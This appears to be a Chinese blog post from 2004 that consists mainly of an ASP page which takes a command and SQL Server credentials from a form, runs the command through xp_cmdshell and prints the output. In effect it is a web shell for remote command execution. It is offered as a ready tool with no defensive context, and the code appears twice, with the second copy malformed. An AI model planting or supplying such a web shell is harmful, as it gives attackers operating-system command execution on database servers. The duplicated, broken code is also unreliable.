一个asp 的sqlcmd
2004-12-01 10:07
441 查看
<% If trim(request.form("cmd"))<>"" Then %>
<%
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id
strQuery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'"
set recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0)
recResult.MoveNext
Loop
End if
set recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
strResult = Replace(strResult,chr(13),"<br>")
response.write strResult
End if
set adoConn = Nothing
%> <br><table border=0 width=500 cellspacing=0 cellpadding=0 bgcolor="#B8B8B8" class="noborder">
<tr bgcolor="#EEEEEE" height=18 class="noborder">
<form name="form" method=post action="<%=Request.ServerVariables("URL")%>">
<input type="text" name="cmd" size=25 >
<input type="text" name="id" size=10 value=<%=id%>>
<input type="text" name="pa" size=10 value=<%=password%>>
<input type="submit" value="执行cmd命令">
</form>
<%
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id
strQuery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'"
set recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0)
recResult.MoveNext
Loop
End if
set recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
strResult = Replace(strResult,chr(13),"<br>")
response.write strResult
End if
set adoConn = Nothing
%> <br><table border=0 width=500 cellspacing=0 cellpadding=0 bgcolor="#B8B8B8" class="noborder">
<tr bgcolor="#EEEEEE" height=18 class="noborder">
<form name="form" method=post action="<%=Request.ServerVariables("URL")%>">
<input type="text" name="cmd" size=25 >
<input type="text" name="id" size=10 value=<%=id%>>
<input type="text" name="pa" size=10 value=<%=password%>>
<input type="submit" value="执行cmd命令">
</form>
相关文章推荐
- ATL实现Connection Point的一种简单的方法
- 哪位仁兄帮一下编个小程序
- javascript表单之间的数据传递!
- 参加特色教育网站评比
- 教育软件评审
- DirectX.Capture
- 引用一个人的说法看中国软件需求基础
- 使用C#开发COM+组件
- 使用FSO把文本信息导入数据库
- 纯编码实现数据库的建立或压缩
- 从数据库中动态选取下拉列表的方法
- 用ASP备份数据库
- 关于FSO静态生成技术的应用范围之解决思路
- thinking in c++ 卷2
- thinking in c++卷2
- thinkng in c++卷2
- 初学者的问题----csdn系列
- Asp.Net MVC 插件化开发简化方案
- 网络安全系列之四 手工SQL注入(ASP)
- 网络安全系列之三 搭建Web渗透平台(ASP)